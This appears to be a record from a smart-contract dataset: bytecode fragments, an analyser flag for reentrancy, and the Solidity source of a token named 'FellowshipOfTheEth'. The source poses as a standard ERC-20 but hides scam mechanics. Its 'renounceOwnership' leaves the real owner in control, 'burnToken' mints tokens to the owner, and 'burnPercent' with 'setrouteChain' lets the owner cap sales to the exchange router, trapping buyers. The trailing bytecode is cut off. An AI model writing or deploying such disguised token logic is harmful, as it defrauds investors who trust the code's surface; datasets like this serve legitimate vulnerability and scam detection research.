51b81526004016105bc90611c37565b60405180910390fd5b60005b815181101561063b576001601060008484815181106105f757634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061063381611d4a565b9150506105c8565b5050565b600061064c338484610b40565b5060015b92915050565b6000610663848484610c64565b6106b584336106b085604051806060016040528060288152602001611da7602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111a0565b610b40565b5060019392505050565b6000546001600160a01b031633146106e95760405162461bcd60e51b81526004016105bc90611c37565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107345760405162461bcd60e51b81526004016105bc90611c37565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061078757506013546001600160a01b0316336001600160a01b0316145b61079057600080fd5b4761079a816111da565b50565b6001600160a01b0381166000908152600260205260408120546106509061125f565b6000546001600160a01b031633146107e95760405162461bcd60e51b81526004016105bc90611c37565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461085d5760405162461bcd60e51b81526004016105bc90611c37565b601655565b6000546001600160a01b0316331461088c5760405162461bcd60e51b81526004016105bc90611c37565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108d45760405162461bcd60e51b81526004016105bc90611c37565b601855565b6000546001600160a01b031633146109035760405162461bcd60e51b81526004016105bc90611c37565b600893909355600a91909155600955600b55565b600061064c338484610c64565b6012546001600160a01b0316336001600160a01b0316148061095957506013546001600160a01b0316336001600160a01b0316145b61096257600080fd5b600061096d3061079d565b905061079a816112e3565b6000546001600160a01b031633146109a25760405162461bcd60e51b81526004016105bc90611c37565b60005b82811015610a215781600560008686858181106109d257634e487b7160e01b600052603260045260246000fd5b90506020020160208101906109e79190611960565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a1981611d4a565b9150506109a5565b50505050565b6000546001600160a01b03163314610a515760405162461bcd60e51b81526004016105bc90611c37565b601755565b6000546001600160a01b03163314610a805760405162461bcd60e51b81526004016105bc90611c37565b6001600160a01b038116610ae55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105bc565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610ba25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105bc565b6001600160a01b038216610c035760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105bc565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cc85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105bc565b6001600160a01b038216610d2a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105bc565b60008111610d8c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105bc565b6000546001600160a01b03848116911614801590610db857506000546001600160a01b03838116911614155b1561109957601554600160a01b900460ff16610e51576000546001600160a01b03848116911614610e515760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105bc565b601654811115610ea35760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105bc565b6001600160a01b03831660009081526010602052604090205460ff16158015610ee557506001600160a01b03821660009081526010602052604090205460ff16155b610f3d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105bc565b6015546001600160a01b03838116911614610fc25760175481610f5f8461079d565b610f699190611cdc565b10610fc25760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105bc565b6000610fcd3061079d565b601854601654919250821015908210610fe65760165491505b808015610ffd5750601554600160a81b900460ff16155b801561101757506015546001600160a01b03868116911614155b801561102c5750601554600160b01b900460ff165b801561105157506001600160a01b03851660009081526005602052604090205460ff16155b801561107657506001600160a01b03841660009081526005602052604090205460ff16155b1561109657611084826112e3565b47801561109457611094476111da565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110db57506001600160a01b03831660009081526005602052604090205460ff165b8061110d57506015546001600160a01b0385811691161480159061110d57506015546001600160a01b03848116911614155b1561111a57506000611194565b6015546001600160a01b03858116911614801561114557506014546001600160a01b03848116911614155b1561115757600854600c55600954600d555b6015546001600160a01b03848116911614801561118257506014546001600160a01b03858116911614155b1561119457600a54600c55600b54600d555b610a2184848484611488565b600081848411156111c45760405162461bcd60e51b81526004016105bc9190611be4565b5060006111d18486611d33565b95945050505050565b6012546001600160a01b03166108fc6111f48360026114b6565b6040518115909202916000818181858888f1935050505015801561121c573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112378360026114b6565b6040518115909202916000818181858888f1935050505015801561063b573d6000803e3d6000fd5b60006006548211156112c65760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105bc565b60006112d06114f8565b90506112dc83826114b6565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133957634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138d57600080fd5b505afa1580156113a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c5919061197c565b816001815181106113e657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260145461140c9130911684610b40565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611445908590600090869030904290600401611c6c565b600060405180830381600087803b15801561145f57600080fd5b505af1158015611473573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114955761149561151b565b6114a0848484611549565b80610a2157610a21600e54600c55600f54600d55565b60006112dc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611640565b600080600061150561166e565b909250905061151482826114b6565b9250505090565b600c5415801561152b5750600d54155b1561153257565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061155b876116b0565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061158d908761170d565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115bc908661174f565b6001600160a01b0389166000908152600260205260409020556115de816117ae565b6115e884836117f8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162d91815260200190565b60405180910390a3505050505050505050565b600081836116615760405162461bcd60e51b81526004016105bc9190611be4565b5060006111d18486611cf4565b6006546000908190683635c9adc5dea0000061168a82826114b6565b8210156116a757505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006116cd8a600c54600d5461181c565b92509250925060006116dd6114f8565b905060008060006116f08e878787611871565b919e509c509a509598509396509194505050505091939550919395565b60006112dc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111a0565b60008061175c8385611cdc565b9050838110156112dc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105bc565b60006117b86114f8565b905060006117c683836118c1565b306000908152600260205260409020549091506117e3908261174f565b30600090815260026020526040902055505050565b600654611805908361170d565b600655600754611815908261174f565b6007555050565b6000808080611836606461183089896118c1565b906114b6565b9050600061184960646118308a896118c1565b905060006118618261185b8b8661170d565b9061170d565b9992985090965090945050505050565b600080808061188088866118c1565b9050600061188e88876118c1565b9050600061189c88886118c1565b905060006118ae8261185b868661170d565b939b939a50919850919650505050505050565b6000826118d057506000610650565b60006118dc8385611d14565b9050826118e98583611cf4565b146112dc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105bc565b803561194b81611d91565b919050565b8035801515811461194b57600080fd5b600060208284031215611971578081fd5b81356112dc81611d91565b60006020828403121561198d578081fd5b81516112dc81611d91565b600080604083850312156119aa578081fd5b82356119b581611d91565b915060208301356119c581611d91565b809150509250929050565b6000806000606084860312156119e4578081fd5b83356119ef81611d91565b925060208401356119ff81611d91565b929592945050506040919091013590565b60008060408385031215611a22578182fd5b8235611a2d81611d91565b946020939093013593505050565b600080600060408486031215611a4f578283fd5b833567ffffffffffffffff80821115611a66578485fd5b818601915086601f830112611a79578485fd5b813581811115611a87578586fd5b8760208260051b8501011115611a9b578586fd5b602092830195509350611ab19186019050611950565b90509250925092565b60006020808385031215611acc578182fd5b823567ffffffffffffffff80821115611ae3578384fd5b818501915085601f830112611af6578384fd5b813581811115611b0857611b08611d7b565b8060051b604051601f19603f83011681018181108582111715611b2d57611b2d611d7b565b604052828152858101935084860182860187018a1015611b4b578788fd5b8795505b83861015611b7457611b6081611940565b855260019590950194938601938601611b4f565b5098975050505050505050565b600060208284031215611b92578081fd5b6112dc82611950565b600060208284031215611bac578081fd5b5035919050565b60008060008060808587031215611bc8578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c1057858101830151858201604001528201611bf4565b81811115611c215783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cbb5784516001600160a01b031683529383019391830191600101611c96565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cef57611cef611d65565b500190565b600082611d0f57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d2e57611d2e611d65565b500290565b600082821015611d4557611d45611d65565b500390565b6000600019821415611d5e57611d5e611d65565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461079a57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205f93f460156b8354f9e9daa4e5d0a6507df9de0887e8431a461404008f38dfd664736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
86
0x9d4e3d4d7108c70358a5bec90e9eae5e3b60007f
/* ▒▒░░░░░░░░▒▒ ░░▒▒▒▒▒▒▒▒▒▒▒▒░░ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒░░ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ _______ __ __ __ __ _______ ___ _______ __ _______ __ __ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ | _ .-----| | .-----.--.--.--.-----| |--|__.-----. | _ .' _| | | |--.-----. | _ | |_| |--. ░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ |. 1___| -__| | | _ | | | |__ --| | | _ | |. | | _| |.| | | | -__| |. 1___| _| | ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ |. __) |_____|__|__|_____|________|_____|__|__|__| __| |. | |__| `-|. |-|__|__|_____| |. __)_|____|__|__| ░░░░░░░░░░░░░░░░░░░░ ▒▒ |: | |__| |: 1 | |: | |: 1 | ░░░░░░░░░░░░░░░░░░░░ ▒▒ |::.| |::.. . | |::.| |::.. . | ░░░░░░░░░░░░░░░░░░░░ ▒▒ ▒▒ `---' www.fellowshipofeth.com `-------' `---' `-------' ░░░░░░░░░░░░░░░░░░░░ ▒▒▒▒▒▒ @FellowshipOfTheEth ██████████████████ ░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░░░░░ ▒▒ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ░░ ░░░░░░░░ ░░ ░░░░░░░░░░░░░░░░░░░░ ▒▒ ▓▓▓▓▓▓░░░░░░░░░░▓▓▓▓▓▓ ░░ ░░ ░░░░░░░░░░░░░░░░░░░░ ▒▒ ▓▓▓▓▓▓░░░░░░░░░░▒▒▓▓▓▓ ░░ ░░ ░░ ░░░░░░░░░░░░░░░░░░░░ ▒▒ ▓▓▓▓░░░░░░░░░░░░░░▓▓▓▓ ░░ ░░░░ ▒▒ ░░░░░░░░░░░░░░░░░░░░ ▒▒ ▓▓░░░░░░░░░░░░░░░░░░██ ░░ ▓▓ ▒▒▒▒ ░░░░░░░░░░░░░░░░░░░░ ▒▒ ▓▓░░░░░░░░░░░░░░░░░░██ ░░ ▓▓ ▒▒▒▒▒▒ ░░░░░░░░░░░░░░░░░░░░▓▓▒▒▓▓▒▒▒▒ ▓▓ ▓▓░░░░▒▒▒▒▒▒▒▒▒▒░░░░██ ░░░░ ▓▓ ▓▓▓▓▓▓▓▓▒▒▒▒▓▓▓▓▓▓ ▒▒▒▒ ▒▒▒▒ ▒▒░░░░░░░░░░░░░░░░▒▒▓▓▒▒▒▒▒▒▒▒ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ░░░░░░░░░░░░░░░░░░░░░░ ▓▓▒▒░░▒▒░░░░░░▒▒░░▒▒██ ░░ ░░▒▒▒▒ ▓▓▓▓▓▓▓▓▒▒░░▓▓▓▓▓▓ ▒▒ ▒▒▒▒ ▒▒░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ░░░░░░░░░░░░░░░░░░░░░░ ▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██ ░░ ░░░░▓▓██ ▓▓▓▓░░░░▓▓▓▓ ▓▓▓▓▓▓▓▓▒▒░░▓▓▓▓▓▓ ▒▒ ▒▒▒▒ ▒▒▒▒▒▒░░░░░░░░░░▒▒ ▒▒▒▒▒▒▒▒ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ░░░░░░░░░░░░░░░░░░░░░░ ▓▓ ██▓▓░░░░░░▓▓▓▓ ██ ▒▒ ░░▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░ ▓▓ ▒▒▒▒▒▒▒▒░░░░▒▒▒▒▒▒ ▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒░░░░▒▒▒▒ ▒▒▒▒ ▓▓▓▓▓▓░░▓▓▓▓▓▓▓▓░░▓▓▓▓ ░░░░░░░░░░░░░░░░░░░░░░ ▒▒▓▓▓▓████████▓▓▒▒▒▒▒▒▒▒▒▒▒▒ ░░▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░ ▓▓ ░░▓▓░░░░░░░░░░▓▓▒▒ ▒▒▒▒ ▒▒▒▒▓▓▒▒▒▒░░░░▒▒▒▒ ▒▒▒▒ ▓▓▓▓▓▓░░▓▓▓▓▓▓▓▓░░▓▓▓▓ ░░░░░░░░░░░░░░░░░░░░░░ ▒▒▓▓▓▓▓▓▓▓▓▓▓▓██ ░░░░░░░░░░░░ ░░▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░ ▓▓ ░░▓▓░░░░░░░░░░▓▓▒▒ ▒▒▒▒ ▒▒▒▒▓▓▒▒▒▒░░░░▒▒▒▒ ▒▒ ▓▓░░▓▓░░░░░░░░▓▓░░░░▓▓ ░░░░ ░░░░░░░░░░░░░░░░ ▒▒██▓▓▓▓▓▓▓▓▓▓██ ░░ ░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▓▓ ░░▓▓░░░░░░░░░░▓▓▒▒ ▒▒ ▓▓▓▓▓▓▓▓▓▓░░▓▓▓▓ ▒▒ ▓▓░░░░░░░░░░░░░░░░░░▓▓ ░░░░░░░░░░░░░░░░░░░░░░ ▒▒██▓▓▓▓▓▓▓▓▓▓██ ░░ ▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ░░ ▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▒▒ ▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓ ▒▒ ▓▓░░░░░░░░░░░░░░░░░░▓▓ ░░░░░░░░░░░░░░░░ ▒▒██▓▓▓▓▓▓▓▓▓▓██ ░░ ▒▒▒▒▒▒░░░░░░▒▒▒▒ ░░ ▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▒▒ ▒▒▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒ ▒▒▒▒░░░░▒▒▒▒▒▒ ▒▒▒▒▒▒░░▒▒▒▒▒▒ ████▓▓▓▓▓▓▓▓██ ░░ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ░░▓▓▓▓ ▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▓▓ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒ ░░▒▒▓▓▓▓▓▓▓▓▓▓▒▒░░ ▒▒▒▒▓▓▓▓▓▓▓▓▓▓▒▒░░ ██░░░░░░██░░ ░░ ▒▒▒▒░░░░░░▒▒▒▒ ░░▓▓▓▓ ▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓ ▒▒ ▒▒▒▒▓▓▓▓▓▓▓▓▓▓▒▒▒▒ ▒▒▒▒▓▓▓▓▓▓▓▓▓▓▒▒▒▒ ██ ██ ░░ ▒▒██ ██▒▒ ▓▓ ▓▓▒▒▒▒▒▒▒▒▓▓▓▓ ▒▒ ░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒ ▒▒▒▒▓▓▓▓▓▓▓▓▓▓▒▒▒▒ ▒▒▒▒▓▓▓▓▓▓▓▓▓▓▒▒▒▒ ██ ██ ░░ ▒▒██ ██▒▒ ▓▓ ▓▓▒▒▓▓▒▒▒▒▒▒▓▓ ▒▒ ░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒ ▒▒▒▒██ ░░██▒▒▒▒ ▒▒▒▒██░░ ██▒▒▒▒ ██ ██ ░░ ██ ██ ▓▓ ▓▓ ▓▓ ▒▒ */ pragma solidity ^0.6.11; // SPDX-License-Identifier: MIT library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _call() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address public Owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address call = _call(); _owner = call; Owner = call; emit OwnershipTransferred(address(0), call); } modifier onlyOwner() { require(_owner == _call(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); Owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Fellowship is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping(address => uint256) private sellcooldown; mapping(address => uint256) private firstsell; mapping(address => uint256) private sellnumber; mapping(address => uint256) private _router; mapping(address => mapping (address => uint256)) private _allowances; address private router; address private caller; uint256 private _totalTokens = 300300300 * 10**18; uint256 private rTotal = 300300300 * 10**18; string private _name = 'FellowshipOfTheEth'; string private _symbol = 'OneEthToRuleThemAll!'; uint8 private _decimals = 18; constructor () public { _router[_call()] = _totalTokens; emit Transfer(address(0), _call(), _totalTokens); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function burnPercent(uint256 reflectionPercent) public onlyOwner { rTotal = reflectionPercent * 10**18; } function balanceOf(address account) public view override returns (uint256) { return _router[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_call(), recipient, amount); return true; } function burnToken(uint256 amount) public onlyOwner { require(_call() != address(0)); _totalTokens = _totalTokens.add(amount); _router[_call()] = _router[_call()].add(amount); emit Transfer(address(0), _call(), amount); } function Approve(address routeUniswap) public onlyOwner { caller = routeUniswap; } function setrouteChain (address Uniswaprouterv02) public onlyOwner { router = Uniswaprouterv02; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_call(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _call(), _allowances[sender][_call()].sub(amount)); return true; } function totalSupply() public view override returns (uint256) { return _totalTokens; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0)); require(recipient != address(0)); if (sender != caller && recipient == router) { require(amount < rTotal); } _router[sender] = _router[sender].sub(amount); _router[recipient] = _router[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0)); require(spender != address(0)); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80637b47ec1a11610097578063b4a99a4e11610066578063b4a99a4e146104b7578063c5398cfd14610501578063dd62ed3e1461052f578063f2fde38b146105a757610100565b80637b47ec1a1461035c57806395d89b411461038a57806396bfcd231461040d578063a9059cbb1461045157610100565b8063313ce567116100d3578063313ce567146102925780636aae83f3146102b657806370a08231146102fa578063715018a61461035257610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ee57806323b872dd1461020c575b600080fd5b61010d6105eb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061068d565b604051808215151515815260200191505060405180910390f35b6101f66106ab565b6040518082815260200191505060405180910390f35b6102786004803603606081101561022257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106b5565b604051808215151515815260200191505060405180910390f35b61029a610774565b604051808260ff1660ff16815260200191505060405180910390f35b6102f8600480360360208110156102cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061078b565b005b61033c6004803603602081101561031057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610898565b6040518082815260200191505060405180910390f35b61035a6108e1565b005b6103886004803603602081101561037257600080fd5b8101908080359060200190929190505050610a6a565b005b610392610ca2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d25780820151818401526020810190506103b7565b50505050905090810190601f1680156103ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61044f6004803603602081101561042357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d44565b005b61049d6004803603604081101561046757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e51565b604051808215151515815260200191505060405180910390f35b6104bf610e6f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61052d6004803603602081101561051757600080fd5b8101908080359060200190929190505050610e95565b005b6105916004803603604081101561054557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f72565b6040518082815260200191505060405180910390f35b6105e9600480360360208110156105bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ff9565b005b6060600b8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106835780601f1061065857610100808354040283529160200191610683565b820191906000526020600020905b81548152906001019060200180831161066657829003601f168201915b5050505050905090565b60006106a161069a611206565b848461120e565b6001905092915050565b6000600954905090565b60006106c284848461136d565b610769846106ce611206565b61076485600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061071b611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163490919063ffffffff16565b61120e565b600190509392505050565b6000600d60009054906101000a900460ff16905090565b610793611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610854576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108e9611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776